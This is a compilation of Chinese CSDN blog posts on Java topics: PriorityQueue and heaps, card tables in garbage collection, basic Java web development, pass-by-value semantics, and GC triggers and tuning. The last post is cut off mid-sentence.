-
引言在开发中,尤其是需要处理大量数据或者进行任务调度的场景下,如何高效地管理数据的顺序和优先级是一个至关重要的问题。Java 提供了优先级队列(PriorityQueue),它基于堆(Heap)实现,能够以高效的方式管理数据的优先级。在本文中,我们将深入探讨优先级队列的工作原理,特别是堆的作用,并通过示例代码帮助你更好地理解其应用。一、什么是优先级队列?优先级队列(Priority Queue)是一种队列数据结构,其中每个元素都包含一个优先级,队列总是按元素的优先级顺序进行排序。与普通队列(先进先出 FIFO)不同,优先级队列确保每次从队列中移除的元素是具有最高优先级的元素。有些场景下,使⽤队列显然不合适,⽐如:在⼿机上玩游戏的时候,如果有来电,那么系统应该优先处理打进来的电话;初中那会班主任排座位时可能会让成绩好的同学先挑座位。在 Java 中,PriorityQueue 是基于堆的实现。堆是一种特殊的二叉树结构,满足特定的顺序性质:最大堆保证每个父节点的值大于等于其子节点的值,而最小堆则相反。二、堆的基本原理JDK1.8中的PriorityQueue底层使⽤了堆这种数据结构,⽽堆实际就是在完全⼆叉树的基础上进⾏了⼀些调整。具有以下特点:对于最大堆,父节点的值始终大于或等于子节点的值;对于最小堆,父节点的值始终小于或等于子节点的值。2.1 堆的概念如果有⼀个关键码的集合K = {k0,k1, k2,…,kn-1},把它的所有元素按完全⼆叉树的顺序存储⽅式存储在⼀个⼀维数组中,并满⾜:Ki <= K2i+1 且 Ki<= K2i+2 (Ki >= K2i+1 且 Ki >= K2i+2) i = 0,1,2…,则称为⼩堆(或⼤堆)。Java 中的 PriorityQueue 默认是最小堆,也就是说队列中最小的元素将具有最高的优先级。堆的性质:• 堆中某个节点的值总是不⼤于或不⼩于其⽗节点的值;• 堆总是⼀棵完全⼆叉树。2.2 堆的存储⽅式从堆的概念可知,堆是⼀棵完全⼆叉树,因此可以层序的规则采⽤顺序的⽅式来⾼效存储,注意:对于⾮完全⼆叉树,则不适合使⽤顺序⽅式进⾏存储,因为为了能够还原⼆叉树,空间中必须 要存储空节点,就会导致空间利⽤率⽐较低。将元素存储到数组中后,可以根据⼆叉树章节的性质5对树进⾏还原。假设i为节点在数组中的下标,则有:• 如果i为0,则i表⽰的节点为根节点,否则i节点的双亲节点为 (i - 1)/2• 如果2 * i + 1 ⼩于节点个数,则节点i的左孩⼦下标为2 * i + 1,否则没有左孩⼦• 如果2 * i + 2 ⼩于节点个数,则节点i的右孩⼦下标为2 * i + 2,否则没有右孩⼦三、堆操作时间复杂度操作类型 描述 时间复杂度插入元素 使用 add() 或 offer() 方法插入元素 O(log n)删除最小元素 使用 poll() 方法移除并返回最小元素 O(log n)查看最小元素 使用 peek() 方法返回堆顶元素而不移除 O(1)获取堆大小 使用 size() 方法返回当前堆的元素数量 O(1)3.1 建堆的时间复杂度因为堆是完全⼆叉树,⽽满⼆叉树也是完全⼆叉树,此处为了简化使⽤满⼆叉树来证明(时间复杂度本来看的就是近似值,多⼏个节点不影响最终结果):因此:建堆的时间复杂度为O(N)。四、PriorityQueue 的基本操作1. PriorityQueue中放置的元素必须要能够⽐较⼤⼩,不能插⼊⽆法⽐较⼤⼩的对象,否则会抛出 ClassCastException异常2. 不能插⼊null对象,否则会抛出NullPointerException3. 没有容量限制,可以插⼊任意多个元素,其内部可以⾃动扩容4. 插⼊和删除元素的时间复杂度为5. PriorityQueue底层使⽤了堆数据结构6. PriorityQueue默认情况下是⼩堆—即每次获取到的元素都是最⼩的元素4.1 插⼊/删除/获取优先级最⾼的元素注意:优先级队列的扩容说明:• 如果容量⼩于64时,是按照oldCapacity的2倍⽅式扩容的• 如果容量⼤于等于64,是按照oldCapacity的1.5倍⽅式扩容的•如果容量超过MAX_ARRAY_SIZE,按照MAX_ARRAY_SIZE来进⾏扩容五、 构造一个最小堆的优先级队列import java.util.PriorityQueue;public class PriorityQueueExample { public static void main(String[] args) { // 创建一个最小堆 PriorityQueue<Integer> pq = new PriorityQueue<>(); // 添加元素 pq.add(10); pq.add(5); pq.add(15); pq.add(7); // 打印并移除元素 while (!pq.isEmpty()) { System.out.println(pq.poll()); // 依次输出 5, 7, 10, 15 } }}输出:5710151234在这个示例中,PriorityQueue 自动按照最小堆的规则对元素进行排序。每次调用 poll() 方法时,队列中优先级最高的元素(即最小的元素)会被移除。六、 自定义优先级假设我们有一个包含多个任务的列表,每个任务有一个优先级,我们希望按优先级顺序处理这些任务。我们可以通过实现 Comparator 接口来自定义优先级。import java.util.PriorityQueue;import java.util.Comparator;class Task { String name; int priority; public Task(String name, int priority) { this.name = name; this.priority = priority; } @Override public String toString() { return name + " (Priority: " + priority + ")"; }}public class CustomPriorityQueueExample { public static void main(String[] args) { // 自定义Comparator,按优先级降序排列 PriorityQueue<Task> pq = new PriorityQueue<>(new Comparator<Task>() { @Override public int compare(Task t1, Task t2) { return Integer.compare(t2.priority, t1.priority); // 优先级高的排前面 } }); // 添加任务 pq.add(new Task("Task 1", 3)); pq.add(new Task("Task 2", 5)); pq.add(new Task("Task 3", 1)); pq.add(new Task("Task 4", 4)); // 打印并移除任务 while (!pq.isEmpty()) { System.out.println(pq.poll()); } }}输出:Task 2 (Priority: 5)Task 4 (Priority: 4)Task 1 (Priority: 3)Task 3 (Priority: 1)在这个例子中,PriorityQueue 被用来管理多个任务,并按照任务的优先级(从高到低)排序。. 自定义优先级示例代码解释步骤 代码示例 说明创建优先级队列 PriorityQueue<Task> pq = new PriorityQueue<>(new Comparator<Task>() {...}); 创建一个带有自定义排序规则的优先级队列,按优先级降序排序添加任务 pq.add(new Task("Task 1", 3)); 向队列中添加一个新任务打印任务 System.out.println(pq.poll()); 输出并移除队列中的优先级最高(优先级最大)的任务七、常见堆的应用场景应用场景 说明 示例任务调度 根据任务的优先级执行任务,堆帮助管理和调度任务顺序 操作系统的调度程序,网络请求调度器合并多个有序数据流 使用堆合并多个已排序的数据流,维持整体有序性 合并 k 个有序链表、流式数据处理实时数据处理 动态地从数据流中获取最小/最大值 获取最近的数据流中的最大值/最小值,实时计算排名前N的元素最短路径算法 在图算法(如 Dijkstra 算法)中,用堆优化路径的计算 Dijkstra 算法,最短路径计算中的优先级队列K 个最大元素问题 找出数组中最大的 K 个元素 求数组中前 K 大的元素,堆排序方法拓展:TOP-K问题:即求数据集合中前K个最⼤的元素或者最⼩的元素,⼀般情况下数据量都⽐较⼤。⽐如:专业前10名、世界500强、富豪榜、游戏中前100的活跃玩家等。对于Top-K问题,能想到的最简单直接的⽅式就是排序,但是:如果数据量⾮常⼤,排序就不太可取了(可能数据都不能⼀下⼦全部加载到内存中)。最佳的⽅式就是⽤堆来解决,基本思路如下:1. ⽤数据集合中前K个元素来建堆◦ 前k个最⼤的元素,则建⼩堆◦ 前k个最⼩的元素,则建⼤堆2. ⽤剩余的N-K个元素依次与堆顶元素来⽐较,不满⾜则替换堆顶元素将剩余N-K个元素依次与堆顶元素⽐完之后,堆中剩余的K个元素就是所求的前K个最⼩或者最⼤的元素八、总结通过本文的介绍,我们了解了 Java 中优先级队列(PriorityQueue)的基本概念和实现原理。利用堆结构,优先级队列能够高效地管理数据并根据优先级进行处理。无论是任务调度、数据流合并,还是实时数据处理,堆都能发挥其强大的性能优势。8.1 堆的优点优点 说明高效的优先级管理 通过堆结构,可以快速处理数据的优先级。插入和删除操作的时间复杂度为 O(log n),适合动态数据处理。无序输入,高效排序 堆无需输入数据有序,只需通过堆的结构来维护顺序。适用于合并已排序数据流。内存占用少 堆是完全二叉树结构,相比于其他数据结构(如 AVL 树、红黑树)占用的内存较少。8.2 优先级队列的优势与局限性优势/局限性 说明优势 - 对于频繁插入和删除操作非常高效。- 适合任务调度、流式数据处理、最短路径问题等场景。局限性 - 不支持按优先级范围查询或批量删除。- 不是完全通用的排序工具,通常只适用于频繁访问最大或最小元素的场景。8.3 堆与其他数据结构对比数据结构 操作 时间复杂度 优势 局限性堆 插入、删除、查看顶元素 O(log n) 高效管理优先级,适合动态数据处理。 不支持按特定条件的排序,无法直接获取中间元素。数组 排序、查找 O(n log n) 方便查找和排序,简单易用。 插入、删除操作较慢,尤其是在无序数据中。链表 插入、删除 O(1) 插入和删除效率高,尤其适合频繁变动的场景。 查找元素需要 O(n) 的时间,无法高效管理优先级。红黑树 插入、删除、查找 O(log n) 支持高效的查找、插入和删除操作。 相较于堆,内存占用更大,且需要更多的平衡操作。哈希表 查找、插入、删除 O(1) 查找操作极快,适合无序数据的快速检索。 不支持排序,不适合优先级管理。前景:随着大数据和实时计算的不断发展,堆结构和优先级队列将在更多的算法优化和数据流处理中扮演重要角色,尤其是在机器学习、数据挖掘、搜索引擎优化等领域。———————————————— 原文链接:https://blog.csdn.net/2301_80350265/article/details/145959834
-
文章介绍了记忆集作为解决对象跨代引用问题的数据结构,特别是在新生代和老年代之间的引用。记忆集可以通过不同的精度来记录,如字长、对象或卡精度,而卡精度的实现方式是卡表。卡表是一个字节数组,标记内存区域中可能存在跨代指针的卡页。当卡页有跨代指针时,对应的卡表元素设为脏,垃圾收集时只需扫描这些脏元素对应的内存块。摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >记忆集 : 是一种用于记录 从非收集区域指向收集区域的指针集合的抽象数据结构 。如果我们不考虑效率和成本的话,最简单的实现可以用非收集区域中所有含跨代引用的对象数组来实现这个数据结构 记忆集作用 :解决对象跨代引用所带来的问题,垃圾收集器在新生代中建 立了名为记忆集( Remembered Set )的数据结构,用以避免把整个老年代加进 GC Roots 扫描范围。事实上并不只是新生代、老年代之间才有 跨代引用的问题 。所有涉及部分区域收集(Partial GC )行为的 垃圾收集器,典型的如 G1 、 ZGC 和 Shenandoah 收集器,都会面临相同的问题,因此我们有必要进一步 理清记忆集的原理和实现方式 这种记录全部含跨代引用对象的实现方案,无论是空间占用还是维护成本都相当高昂。而在垃圾 收集的场景中,收集器只需要通过记忆集判断出某一块非收集区域是否存在有指向了收集区域的指针 就可以了,并不需要了解这些跨代指针的全部细节。那设计者在实现记忆集的时候,便可以选择更为 粗犷的记录粒度来节省记忆集的存储和维护成本,下面列举了一些可供选择(当然也可以选择这个范 围以外的)的记录精度: · 字长精度: 每个记录精确到一个机器字长(就是处理器的寻址位数,如常见的 32 位或 64 位,这个 精度决定了机器访问物理内存地址的指针长度),该字包含跨代指针。 · 对象精度: 每个记录精确到一个对象,该对象里有字段含有跨代指针。 · 卡精度: 每个记录精确到一块内存区域,该区域内有对象含有跨代指针。 “ 卡精度 ” 所指的是用一种称为 “ 卡表 ” ( Card Table)的方式去实现记忆集, 就是 记忆集的一种具体实现 ,它定义了记忆集的记录精度、与堆内存的映射关系等。 关于卡表与记忆集的关系,读者不妨按照 Java 语言中 HashMap 与 Map 的关系来类比理解 卡表最简单的形式可以只是一个字节数组 ,而 HotSpot 虚拟机确实也是这样做的。以下这行代 码是 HotSpot 默认的卡表标记逻辑 : CARD_TABLE [this address >> 9] = 0; 字节数组 CARD_TABLE 的每一个元素都对应着其标识的内存区域中一块特定大小的内存块,这个 内存块被称作 “ 卡页 ” ( Card Page )。一般来说,卡页大小都是以 2的N次幂 的字节数,通过上面代码可 以看出 HotSpot 中使用的卡页是 2 的 9 次幂,即 512 字节(地址右移 9 位,相当于用地址除以 512 )。那如 果卡表标识内存区域的起始地址是 0x0000 的话,数组 CARD_TABLE 的第 0 、 1 、 2 号元素,分别对应了 地址范围为 0x0000 ~ 0x01FF 、 0x0200 ~ 0x03FF 、 0x0400 ~ 0x05FF 的卡页内存块 ,如图 所示。 一个卡页的内存中通常包含不止一个对象,只要卡页内有一个(或更多)对象的字段存在着跨代 指针,那就将对应卡表的数组元素的值标识为 1 ,称为这个 元素变脏 ( Dirty ),没有则标识为 0 。在垃圾收集发生时,只要 筛选出卡表中变脏的元素 ,就能轻易得出哪些卡页内存块中包含跨代指针,把它 们加入 GC Roots 中一并扫描———————————————— 原文链接:https://blog.csdn.net/qq_33919114/article/details/131554268
-
前言在当今互联网时代,Web开发已成为一个炙手可热的领域。Java作为一种成熟的编程语言,以其稳定性和跨平台性,成为了Web开发的热门选择。本文将带您从基础知识入手,逐步深入Java Web开发的各个方面,帮助您构建自己的Web应用。项目实战:构建一个简单的Web应用结语一、Java Web开发基础1. Java Servlet与JSPJava Servlet是Java Web开发的核心组件之一,它允许开发者在服务器端处理请求并生成动态内容。Servlet可以接收HTTP请求,处理请求逻辑,并返回HTTP响应。JSP(JavaServer Pages)则是一种简化的Servlet,适合于创建动态网页。JSP允许嵌入Java代码到HTML中,便于快速开发。示例:简单的Servlet@WebServlet("/hello")public class HelloServlet extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html"); PrintWriter out = response.getWriter(); out.println("<h1>Hello, World!</h1>"); }}示例:简单的JSP<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><!DOCTYPE html><html><head> <title>Hello JSP</title></head><body> <h1>Hello, World!</h1></body></html>2. MVC架构MVC(Model-View-Controller)是一种设计模式,用于分离应用的业务逻辑、用户界面和输入控制。通过MVC架构,您可以更清晰地组织代码,提高可维护性。模型(Model)用于处理数据和业务逻辑,视图(View)用于展示数据,控制器(Controller)用于接收用户输入并更新模型和视图。二、开发环境的搭建1. 安装JDK与IDE首先,您需要安装Java Development Kit(JDK),确保您使用的是最新版本。接下来,选择一个集成开发环境(IDE),如IntelliJ IDEA或Eclipse。这些工具将大大简化您的开发过程,提供代码补全、调试和项目管理等功能。JDK安装步骤:前往Oracle官网或OpenJDK下载页面。下载适合您操作系统的JDK安装包。按照安装向导进行安装,并配置环境变量。IDE安装步骤:访问IntelliJ IDEA或Eclipse的官方网站。下载相应的安装文件。按照安装向导完成安装。2. 配置Web服务器常用的Web服务器包括Apache Tomcat和Jetty。您可以下载并安装Tomcat,然后将您的Web应用部署到Tomcat中进行测试。Tomcat安装步骤:下载Tomcat的最新版本。解压缩下载的文件到指定目录。配置环境变量,设置CATALINA_HOME为Tomcat的安装目录。启动Tomcat:在命令行中进入Tomcat的bin目录,执行startup.bat(Windows)或startup.sh(Linux/Mac)。三、数据库连接与操作1. JDBC基础Java数据库连接(JDBC)是Java与数据库交互的标准API。通过JDBC,您可以执行SQL语句,处理结果集。JDBC支持多种数据库,如MySQL、Oracle和PostgreSQL等。JDBC连接示例:try { Class.forName("com.mysql.cj.jdbc.Driver"); Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/mydb", "user", "password"); Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("SELECT * FROM users"); while (rs.next()) { System.out.println("User: " + rs.getString("username")); } rs.close(); stmt.close(); conn.close();} catch (SQLException | ClassNotFoundException e) { e.printStackTrace();}2. 使用ORM框架为了提高开发效率,您可以使用ORM(对象关系映射)框架,如Hibernate或JPA。这些框架可以简化数据库操作,使您专注于业务逻辑。Hibernate示例:@Entitypublic class User { @Id @GeneratedValue(strategy = GenerationType.IDENTITY) private Long id; private String username; private String password; // Getters and Setters}使用Hibernate时,您只需编写简单的HQL(Hibernate Query Language)查询,而不需要编写复杂的SQL。四、前端与后端的交互1. AJAX与JSONAJAX(Asynchronous JavaScript and XML)允许您在不重新加载页面的情况下与服务器进行交互。结合JSON格式,您可以实现高效的数据传输。AJAX可以显著提高用户体验,使应用更加流畅。AJAX示例:$.ajax({ url: "/api/users", method: "GET", dataType: "json", success: function(data) { console.log(data); // 处理返回的数据 }, error: function(xhr, status, error) { console.error("AJAX Error: " + status + error); }});2. RESTful API设计RESTful API是一种设计风格,用于创建可扩展的Web服务。通过使用HTTP动词(GET、POST、PUT、DELETE),您可以实现资源的增删改查。设计RESTful API时,确保使用清晰的URL和HTTP状态码。RESTful API示例:@Path("/users")public class UserResource { @GET @Produces(MediaType.APPLICATION_JSON) public List<User> getUsers() { return userService.findAll(); } @POST @Consumes(MediaType.APPLICATION_JSON) public Response createUser(User user) { userService.save(user); return Response.status(Response.Status.CREATED).build(); }}五、安全与性能优化1. 常见安全问题在Web开发中,安全问题不容忽视。常见的安全漏洞包括SQL注入、跨站脚本(XSS)和跨站请求伪造(CSRF)。确保使用PreparedStatement来防止SQL注入,并对用户输入进行严格验证。防止SQL注入示例:PreparedStatement pstmt = conn.prepareStatement("SELECT * FROM users WHERE username = ?");pstmt.setString(1, username);ResultSet rs = pstmt.executeQuery();2. 性能优化技巧缓存:使用缓存机制(如Redis)来减少数据库访问次数,提高响应速度。异步处理:通过异步任务处理提高响应速度,避免阻塞用户请求。负载均衡:在多台服务器之间分配请求以提高可用性,确保系统的高可用性和可扩展性。六、项目实战:构建一个简单的Web应用为了巩固所学知识,您可以尝试构建一个简单的用户管理系统。该系统应具备用户注册、登录、信息查看等基本功能。通过实践,您将更深入地理解Java Web开发的各个环节。项目步骤:设计数据库:创建用户表,包含用户名、密码、邮箱等字段。实现后端逻辑:使用Servlet处理用户请求,连接数据库进行操作。前端页面:使用HTML/CSS/JavaScript构建用户界面,支持AJAX请求。数据库设计示例:CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(50) NOT NULL UNIQUE, password VARCHAR(255) NOT NULL, email VARCHAR(100) NOT NULL);后端逻辑示例:@WebServlet("/register")public class RegisterServlet extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String username = request.getParameter("username"); String password = request.getParameter("password"); String email = request.getParameter("email"); // 进行用户注册逻辑 userService.register(new User(username, password, email)); response.sendRedirect("success.jsp"); }}前端页面示例:<form id="registerForm"> <input type="text" name="username" placeholder="Username" required> <input type="password" name="password" placeholder="Password" required> <input type="email" name="email" placeholder="Email" required> <button type="submit">Register</button></form><script> document.getElementById("registerForm").onsubmit = function(event) { event.preventDefault(); var formData = new FormData(this); fetch('/register', { method: 'POST', body: formData }).then(response => { if (response.ok) { window.location.href = 'success.jsp'; } }); };</script>七、结语Java Web开发是一个充满挑战和机遇的领域。通过本文的学习,您应已掌握Java Web开发的基础知识和实践技巧。不断实践、深入学习,将使您在这个领域越走越远。希望您能在未来的开发旅程中创造出更多精彩的Web应用!如有任何问题或想法,欢迎在评论区留言讨论!期待您的参与与分享!———————————————— 原文链接:https://blog.csdn.net/m0_70474954/article/details/143245316
-
在 Java 中,方法参数的传递方式通常被讨论为 值传递(Pass by Value) 和 引用传递(Pass by Reference)。但需要明确的是,Java 只有值传递,并不存在真正的引用传递。1. 什么是值传递(Pass by Value)? 值传递是指方法调用时,实际参数的值会被复制一份传递给方法的形参,方法内部对形参的修改不会影响原来的变量。示例:值传递(基本数据类型)public class Test { public static void main(String[] args) { int num = 10; modify(num); System.out.println("方法调用后 num = " + num); // 10 } public static void modify(int x) { x = 20; // 修改的是 x,而不是 num }}输出:方法调用后 num = 10解释: num 的值被复制到 x,方法内部修改 x 不会影响外部变量 num。2. 什么是引用传递(Pass by Reference)?引用传递是指方法调用时,传递的是变量的引用(即地址),方法内部修改该对象的内容会影响原始对象。Java 中的对象变量并不存储对象本身,而是存储对象的引用(内存地址)。因此,当我们将对象作为参数传递给方法时,传递的是对象的引用的拷贝(仍然是值传递),但可以通过这个引用来修改对象的内容。示例:引用传递?(对象)class Person { String name;} public class Test { public static void main(String[] args) { Person person = new Person(); person.name = "Alice"; modify(person); System.out.println("方法调用后 name = " + person.name); // Bob } public static void modify(Person p) { p.name = "Bob"; // 修改的是 p 指向的对象,而不是 p 本身 }}输出:方法调用后 name = Bob 解释: p 是 person 的引用拷贝,它们指向同一个对象,因此 modify() 方法内修改 p.name,也影响了原来的 person.name。3. 为什么说 Java 只有值传递?尽管 Java 方法参数在传递对象时能够修改对象的内容,但它仍然是值传递,因为:对于基本数据类型,传递的是值的副本,方法内部修改不会影响原变量。对于对象,传递的是引用的副本(内存地址的值),方法内部修改对象的内容可以影响原对象,但如果修改引用本身,不会影响外部变量。示例:尝试修改对象的引用class Person { String name;} public class Test { public static void main(String[] args) { Person person = new Person(); person.name = "Alice"; modifyReference(person); System.out.println("方法调用后 name = " + person.name); // Alice } public static void modifyReference(Person p) { p = new Person(); // 这里 p 重新指向一个新对象 p.name = "Bob"; }}输出:方法调用后 name = Alice 解释: p 重新指向了一个新对象 new Person(),但这个新对象只在 modifyReference() 方法内生效,原来的 person 并未受到影响。4. 结论Java 只有值传递,没有引用传递。基本数据类型的参数传递是值的复制,方法内部修改不会影响原变量。对象类型的参数传递是对象引用的复制,可以修改对象的内容,但不能改变原引用的指向。如果想要方法修改对象的引用本身(类似引用传递的效果),需要使用返回值进行赋值。示例:让方法真正修改对象引用class Person { String name;} public class Test { public static void main(String[] args) { Person person = new Person(); person.name = "Alice"; person = modifyAndReturnNew(person); System.out.println("方法调用后 name = " + person.name); // Bob } public static Person modifyAndReturnNew(Person p) { p = new Person(); // 创建新对象 p.name = "Bob"; return p; // 返回新对象 }}输出:方法调用后 name = Bob解释: 由于 modifyAndReturnNew() 方法返回了新的 Person 对象,我们用 person 变量接收了这个返回值,从而真正改变了 person 的指向。5. 面试回答建议在面试中,若被问到 Java 是值传递还是引用传递,可以回答:Java 只有值传递。基本数据类型传递的是值的副本,方法内部修改不会影响原值。对象类型传递的是对象引用的副本,可以修改对象内容,但不能修改原引用的指向。如果面试官进一步追问如何在方法内真正修改对象引用,则可以提及:使用返回值赋值(如 person = modifyAndReturnNew(person))。使用数组或封装对象存储引用(因为数组和对象的内容可修改)。———————————————— 原文链接:https://blog.csdn.net/weixin_45277068/article/details/146419400
-
一.声明Java中没有引用传递二.值传递和引用传递值传递:就是在方法调用的时候,实参是将自己的一份拷贝赋给形参,在方法内,对该参数值的修改不影响原来的实参。引用传递:是在方法调用的时候,实参将自己的地址传递给形参,此时方法内对该参数值的改变,就是对该实参的实际操作。三.举证3.1 做运算private static int baseValue= 30; public static void updateBaseValue(int value){ value = 2 * value; } public static void main(String[] args) { System.out.println("调用前baseValue的值:"+baseValue); updateBaseValue(baseValue); System.out.println("调用后baseValue的值:"+baseValue); }结果:调用前baseValue的值:30调用后baseValue的值:30可以看到,baseValue的值并没有发生变化。结果分析:1)value被初始化为baseValue值的一个拷贝(30)2)value被乘以2后等于60,但baseValue的值仍为303)这个方法结束后,参数变量value不再使用,被回收。3.2 基本数据类型的交换public static void main(String[] args) { int A = 2; int B = 3; swap(A, B); System.out.println("swap后A的结果为:"+A); System.out.println("swap后B的结果为:"+B); } public static void swap(int a, int b){ int tmp = a; a = b; b = tmp; }结果:swap后A的结果为:2swap后B的结果为:3结果分析:1)ab被初始化为AB值的一个拷贝(a=2;b=3)2)ab的值被交换后,但AB的值没有变化3)这个方法结束后,参数变量ab不再使用,被回收。3.3 引用数据类型的交换public class User { private String name; private int age; public User(String name, int age) { this.name=name; this.age=age; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public String toString() { return "name:"+name+ " age:"+age; }}public static void main(String[] args) { User user1 = new User("zhangsan",20); User user2 = new User("lisi",22); System.out.println("交换前user1:" + user1 + "-》 user2:" + user2); swap(user1,user2); System.out.println("交换后user1:" + user1 + "-》 user2:" + user2); } private static void swap(User user1, User user2) { User tmp = v; user1 = user2; user2 = tmp; }结果:交换前user1:name:zhangsan age:20-》 user2:name:lisi age:22交换后user1:name:zhangsan age:20-》 user2:name:lisi age:22结果分析:执行swap方法:swap方法结束后,临时副本user1和user2被回收原user1和user2变量仍然指向之前的对象,没有任何改变3.4 你以为是引用传递,实际并不是public static void updateUserInfo(User student){ student.setName("erniu"); student.setAge(20); } public static void main(String[] args) { user = new User("cuihua",22); System.out.println("调用前user的值:"+user.toString()); updateUserInfo(user); System.out.println("调用后user的值:"+user.toString()); }结果:调用前user的值:name:cuihua age:22调用后user的值:name:erniu age:20结果分析:当updateUserInfo方法执行完后,参数变量student不再使用,被回收。———————————————— 原文链接:https://blog.csdn.net/JavaMonsterr/article/details/125595838
-
在 Java 中,垃圾回收(GC)的频率和触发条件取决于 GC算法、堆内存分配、对象生命周期 以及 JVM参数 的配置。GC 触发条件年轻代 GC(Minor GC / Young GC)Eden 区满了:当新对象分配到 Eden 区,如果 Eden 区没有足够的空间分配新对象,就会触发 Minor GC。Survivor 空间不足:当存活对象从 Eden 复制到 Survivor,但 Survivor 空间不够时,也可能导致 Minor GC。仅回收 年轻代(Young Generation),不会影响老年代(Old Generation)。采用复制算法(如 Serial、Parallel、G1 的 YGC)。停顿时间短,但回收频率较高。Minor GC 之后,存活对象可能晋升到老年代。老年代 GC(Major GC / Old GC)老年代空间不足:当对象从 Survivor 晋升到老年代,或者大对象直接进入老年代,导致老年代空间不够时,会触发 Major GC。CMS GC 的 concurrent mode failure:CMS GC 在并发回收过程中如果老年代空间不足,会触发 STW 的 Full GC。G1 GC 触发 Mixed GC:G1 在一定条件下会触发回收老年代的 Mixed GC。主要清理 老年代(Old Generation),回收存活时间较长的对象。相比 Minor GC,Major GC 的停顿时间更长,但一般回收频率较低。某些 GC(如 CMS)不会 STW,而是并发执行(Concurrent Mark-Sweep)。Full GC显式调用 System.gc()(不推荐,因为 JVM 可能会忽略)。老年代空间不足:当老年代没有足够空间存放新对象时,Major GC 可能变成 Full GC。Metaspace/元空间溢出(如类加载过多,导致 java.lang.OutOfMemoryError: Metaspace)。CMS GC 失败:如果 CMS GC 过程中发生 concurrent mode failure,会触发 Full GC。G1 GC 触发 Full GC:当 G1 发现回收无法跟上对象分配速度时,会进行 STW 的 Full GC。回收整个堆(包括年轻代 + 老年代 + 元空间)。停顿时间长,影响系统吞吐量和响应时间。一般不希望频繁发生 Full GC,需要调优。GC 频率的影响因素对象分配速率短生命周期对象多(临时变量、业务请求数据) → Minor GC 频繁。大量大对象(如 byte[]) → 可能直接进入老年代,加速 Major/Full GC。GC 算法不同 GC 算法对 GC 频率的影响不同:Serial GC(单线程、适用于小内存) → GC 频率高,暂停时间长。Parallel GC(多线程 GC,吞吐量优先) → GC 频率较低,适用于高吞吐场景。G1 GC(区域化分代、回收预测) → 控制 GC 停顿时间,适用于大内存。ZGC、Shenandoah GC(低延迟 GC) → 减少 GC 影响,适用于大内存应用。JVM 参数JVM 相关参数直接影响 GC 频率:-Xms / -Xmx(堆内存大小):较小的堆内存 → GC 触发更频繁。较大的堆内存 → GC 触发较少,但可能增加 Full GC 停顿时间。-XX:NewRatio(年轻代与老年代的比例):较大年轻代 → Minor GC 频率降低,但可能加速老年代填满导致 Major GC 。较小年轻代 → Minor GC 频率上升,但老年代增长较慢。-XX:SurvivorRatio(Eden 和 Survivor 的比例):Survivor 较小 → 对象更容易晋升老年代,加快 Major GC 触发。Survivor 较大 → Minor GC 次数可能减少,但 Survivor 可能浪费空间。-XX:MaxTenuringThreshold(晋升老年代的阈值):较低阈值 → 对象更快晋升老年代,可能增加 Major GC 频率。较高阈值 → 对象更长时间停留在 Survivor,可能增加 Minor GC 频率。GC 负担对象回收速率低 → GC 触发频率更高。对象生命周期较长(长生命周期的缓存对象等) → 老年代更容易被填满,增加 Major/Full GC 频率。如何优化 GC 频率调整堆内存大小增大 -Xmx(最大堆内存),减少 GC 触发频率。增大 -Xms(初始堆内存),减少动态扩展导致的 Full GC。调整 GC 参数增加年轻代大小(-XX:NewRatio=1):减少 Minor GC 触发频率,但可能影响老年代回收。调整 Survivor 空间(-XX:SurvivorRatio=6):减少对象晋升到老年代,降低 Major GC 频率。调高 -XX:MaxTenuringThreshold(如 10),避免短生命周期对象过早进入老年代。选择合适的 GC 算法吞吐量优先(如并发任务多、批量计算) → Parallel GC(-XX:+UseParallelGC)。低延迟场景(如微服务、高并发请求) → G1 GC(-XX:+UseG1GC)。极低延迟需求(如金融系统) → ZGC/Shenandoah GC(-XX:+UseZGC 或 -XX:+UseShenandoahGC)。监控 GC开启 GC 日志(-Xlog:gc* 或 -XX:+PrintGCDetails)观察 GC 频率。使用 jstat 分析 GC:jstat -gcutil <pid> 10001使用 VisualVM、Arthas 监控 GC 状态。总结GC 类型 触发条件 影响Minor GC (Young GC) Eden 区满,Survivor 区空间不足 频率高,暂停时间短,对业务影响小Major GC (Old GC) 老年代空间不足 频率较低,暂停时间长,对吞吐量影响较大Full GC 老年代不足、Metaspace 溢出、CMS 失败等 影响最大,应尽量避免优化 GC 频率的核心 是合理分配堆内存、调整 GC 策略,并监控 GC 运行情况。———————————————— 原文链接:https://blog.csdn.net/qq_41893505/article/details/146226878
-
在Java编程中,理解“值传递”(Pass by Value)和“引用传递”(Pass by Reference)的概念对于理解方法参数的传递方式至关重要。这两种传递方式直接影响到方法调用时参数的处理方式以及方法对参数的修改是否会影响到调用者。尽管Java中的参数传递方式被称为“值传递”,它在处理对象时表现得类似于“引用传递”。一、值传递(Pass by Value)值传递是指在方法调用时,传递的是实际参数的一个副本。无论在方法内部对这个副本如何修改,都不会影响到方法外部的实际参数。这种方式常用于传递基本数据类型(如int、float、boolean等)。1. 值传递的特点方法接收的是参数的一个副本,而不是参数本身。方法内部对参数的修改不会影响到方法外部的实际参数。2. 值传递的示例public class Test { public static void main(String[] args) { int a = 10; modifyValue(a); System.out.println("Value of a after method call: " + a); // 输出: 10 } static void modifyValue(int x) { x = 20; // 仅仅修改了x的副本,不会影响a }}在这个例子中,a的值被复制到方法参数x中。x在方法内部被修改为20,但这只是对x的副本进行的修改,不会影响到a的值。因此,方法调用结束后,a仍然是10。二、引用传递(Pass by Reference)引用传递是指在方法调用时,传递的是参数的引用(即内存地址),因此方法接收到的是实际参数的引用。任何对引用的修改都会直接影响到实际参数。这种方式常用于传递对象和数组。然而,在Java中,不存在真正的引用传递。Java总是以值传递的方式进行参数传递,但对于对象而言,传递的是对象引用的副本。由于引用的副本指向的是同一个对象,因此方法内部的修改会影响到外部的对象状态。1. 引用传递的特点方法接收的是对象引用的一个副本,这个副本指向同一个对象。方法内部对对象的修改会影响到方法外部的对象。2. 